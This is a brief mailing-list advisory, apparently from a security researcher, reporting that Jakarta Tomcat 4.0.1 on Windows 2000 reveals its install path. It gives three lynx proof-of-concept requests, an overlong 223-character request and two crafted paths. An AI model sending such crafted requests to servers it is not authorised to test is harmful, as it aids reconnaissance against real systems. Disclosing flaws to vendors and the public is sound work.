Hi

[analysist <analysist () nsfocus com>]

Hello,

It looks like jakarta-tomcat-4.0.1 has a path revealing vulnerability.
On submiting an unusually long request(more than 222 bites) or a special crafted request, we can
get the web server's install path.

How to produce it
----------------------
$ lynx http://localhost:8080/`perl -e 'print "A" x 223'`.jsp
$ lynx http://localhost:8080/:/x.jsp
$ lynx http://localhost:8080/~../x.jsp

Tested version 
-----------------------   
Jakarta Tomcat v4.0.1
    Microsoft Windows 2000

I sent this information to the vendor a week ago, but i have not received any reply!:( 

Best Regards
